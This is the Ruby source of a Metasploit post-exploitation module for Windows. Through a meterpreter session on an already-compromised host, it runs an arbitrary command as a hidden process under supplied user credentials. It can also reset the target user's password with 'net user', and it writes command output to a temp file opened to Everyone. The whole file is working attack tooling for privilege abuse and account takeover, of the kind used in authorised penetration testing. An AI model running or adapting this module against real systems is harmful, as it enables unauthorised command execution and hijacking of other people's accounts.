129 lines
4.4 KiB
Ruby
129 lines
4.4 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex'
|
|
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Post::Windows::Runas
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => "Windows Manage Run Command As User",
|
|
'Description' => %q(
|
|
This module will login with the specified username/password and execute the
|
|
supplied command as a hidden process. Output is not returned by default, by setting
|
|
CMDOUT to false output will be redirected to a temp file and read back in to
|
|
display.By setting advanced option SETPASS to true, it will reset the users
|
|
password and then execute the command.
|
|
),
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => ['win'],
|
|
'SessionTypes' => ['meterpreter'],
|
|
'Author' => ['Kx499']
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('DOMAIN', [true, 'Domain to login with' ]),
|
|
OptString.new('USER', [true, 'Username to login with' ]),
|
|
OptString.new('PASSWORD', [true, 'Password to login with' ]),
|
|
OptString.new('CMD', [true, 'Command to execute' ]),
|
|
OptBool.new('CMDOUT', [true, 'Retrieve command output', false])
|
|
], self.class)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptBool.new('SETPASS', [true, 'Reset password', false])
|
|
], self.class)
|
|
end
|
|
|
|
# Check if sufficient privileges are present for certain actions and run getprivs for system
|
|
# If you elevated privs to system,the SeAssignPrimaryTokenPrivilege will not be assigned. You
|
|
# need to migrate to a process that is running as
|
|
# system. If you don't have privs, this exits script.
|
|
def priv_check
|
|
if is_system?
|
|
privs = session.sys.config.getprivs
|
|
return privs.include?("SeAssignPrimaryTokenPrivilege") && privs.include?("SeIncreaseQuotaPrivilege")
|
|
end
|
|
|
|
false
|
|
end
|
|
|
|
def reset_pass(user, password)
|
|
begin
|
|
tmpout = cmd_exec("cmd.exe /c net user #{user} #{password}")
|
|
return tmpout.include?("successfully")
|
|
rescue
|
|
return false
|
|
end
|
|
end
|
|
|
|
def touch(path)
|
|
write_file(path, "")
|
|
cmd_exec("icacls #{path} /grant Everyone:(F)")
|
|
end
|
|
|
|
def run
|
|
# Make sure we meet the requirements before running the script, note no need to return
|
|
# unless error
|
|
return unless session.type == "meterpreter"
|
|
|
|
pi = nil
|
|
# check/set vars
|
|
setpass = datastore["SETPASS"]
|
|
cmdout = datastore["CMDOUT"]
|
|
user = datastore["USER"] || nil
|
|
password = datastore["PASSWORD"] || nil
|
|
cmd = datastore["CMD"] || nil
|
|
domain = datastore['DOMAIN']
|
|
|
|
if setpass
|
|
print_status("Setting user password")
|
|
fail_with(Failure::Unknown, 'Error resetting password') unless reset_pass(user, password)
|
|
end
|
|
|
|
system_temp = get_env('WINDIR') << '\\Temp'
|
|
outpath = "#{system_temp}\\#{Rex::Text.rand_text_alpha(8)}.txt"
|
|
|
|
# Create output file and set permissions so everyone can access
|
|
touch(outpath)
|
|
|
|
cmdstr = "cmd.exe /c #{cmd}"
|
|
cmdstr = "cmd.exe /c #{cmd} > #{outpath}" if cmdout
|
|
|
|
# Check privs and execute the correct commands
|
|
# if user use createprocesswithlogon, if system logonuser and createprocessasuser
|
|
# execute command and get output with a poor mans pipe
|
|
if priv_check
|
|
print_status("Executing CreateProcessAsUserA...we are SYSTEM")
|
|
pi = create_process_as_user(domain, user, password, nil, cmdstr)
|
|
if pi
|
|
session.railgun.kernel32.CloseHandle(pi[:process_handle])
|
|
session.railgun.kernel32.CloseHandle(pi[:thread_handle])
|
|
end
|
|
else
|
|
print_status("Executing CreateProcessWithLogonW...")
|
|
pi = create_process_with_logon(domain, user, password, nil, cmdstr)
|
|
end
|
|
|
|
# Only process file if the process creation was successful, delete when done, give us info
|
|
# about process
|
|
if pi
|
|
tmpout = read_file(outpath) if cmdout
|
|
|
|
print_status("Command Run: #{cmdstr}")
|
|
vprint_status("Process Handle: #{pi[:process_handle]}")
|
|
vprint_status("Thread Handle: #{pi[:thread_handle]}")
|
|
vprint_status("Process Id: #{pi[:process_id]}")
|
|
vprint_status("Thread Id: #{pi[:thread_id]}")
|
|
print_status("Command output:\r\n#{tmpout}") unless tmpout.nil?
|
|
end
|
|
end
|
|
end
|